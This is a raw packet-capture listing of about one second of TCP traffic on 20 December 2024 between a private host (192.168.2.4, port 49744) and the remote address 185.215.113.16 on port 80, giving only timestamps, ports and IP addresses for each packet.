Dec 20, 2024 17:11:02.653768063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.653820038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.653958082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.654365063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.654402971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.654407024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.654587984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.654599905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.654618979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.655083895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655118942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.655194044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655208111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655245066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.655392885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655778885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655813932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.655908108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655920029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.655952930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.656102896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.656593084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.656605959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.656646013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.656728983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.656744003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.656763077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.657339096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.657373905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.657432079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.657447100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.657476902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.657649994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658143997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658176899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.658195019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658216000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658251047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.658473015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658967018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658978939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.658998966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.659166098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.659178972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.659198046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.659746885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.659782887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.659938097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.659951925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.659982920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.660146952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.660579920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.660614014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.660645962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.660659075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.660696030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.660931110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.661459923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.661503077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.661505938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.661519051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.661551952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.661881924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.662197113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.662206888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.662235975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.715146065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715306997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715354919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.715399981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715419054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715451956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.715519905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715713978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715727091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.715744972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.716150045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.716183901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.716247082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.716259003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.716350079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.716433048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.716996908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717035055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.717068911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717091084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717133045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.717295885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717838049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717888117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.717947960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717959881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.717987061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.718173981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.718676090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.718712091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.718718052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.723160982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.781999111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782083035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782095909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782128096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.782280922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782325029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.782500982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782512903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782542944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.782659054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782885075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.782939911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.783003092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783015966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783027887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783051968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.783687115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783731937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.783787012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783799887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.783912897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.784004927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.784533978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.784545898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.784584045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.784671068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.784683943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.784724951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.785295010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.785350084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.785427094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.785438061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.785475969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.785600901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.786119938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.786133051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.786164999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.786248922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.786269903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.786288023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.837229013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.843105078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843219042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843230963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843260050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.843307972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843332052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843341112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.843503952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.843538046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.843945026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844094992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844130993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.844202995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844342947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844356060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844367981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.844372988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.844407082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.845041037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845115900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845127106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845158100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.845381975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845417023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.845854044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845868111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845904112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.845984936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.845997095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.846029043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.846672058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.846725941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.846739054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.846757889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.846940994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.846977949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.847460032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.847605944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.847620010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.847639084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.847796917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.847831964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.848320007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.848393917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.848407984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.848428011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.848584890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.848620892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.849025965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849112034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849126101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849144936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.849348068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849380970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.849852085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849941015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849952936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.849972963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.850132942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.850167990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.850667000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.850682974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.850725889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.850796938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.850810051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.850847960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.851466894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.851516008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.851527929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.851545095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.851738930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.851782084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.852312088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.852375031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.852387905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.852408886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.852648973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.852684975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.853027105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853156090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853183985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853192091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.853410006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853444099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.853861094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853957891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853970051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.853991032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.854142904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.854177952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.854612112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.854732990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.854836941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.907694101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.907787085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.907800913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.907825947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.907952070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908071041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.908088923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908102989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908138037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.908325911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908339977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908371925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.908915997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908929110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908941984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.908968925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.909126997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.909168005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.909584045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.909673929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.909687042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.909713030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.909945011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.909981012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.910389900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.910466909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.910480022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.910504103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.910722017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.910757065 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.974049091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974154949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974169016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974204063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.974359035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974410057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.974580050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974595070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974606991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974621058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.974636078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.974661112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.975358963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.975440979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.975455046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.975477934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.975692987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.975734949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.975961924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976064920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976115942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.976309061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976445913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976459026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976687908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.976716995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.976728916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.977114916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.977220058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.977232933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.977257967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.977504969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.977552891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.977952957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978035927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978049040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978070974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.978250027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978292942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.978818893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978894949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.978943110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.035696983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.035759926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.035773039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.035806894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.036009073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036053896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.036144972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036159039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036196947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.036365032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036670923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036751986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.036861897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036875963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.036914110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.036992073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037020922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037051916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.037532091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037679911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037693977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037717104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.037893057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.037929058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.038358927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.038467884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.038480997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.038502932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.038727045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.038764954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.039184093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.039288044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.039299965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.039321899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:03.039503098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:03.039554119 CET	49744	80	192.168.2.4	185.215.113.16
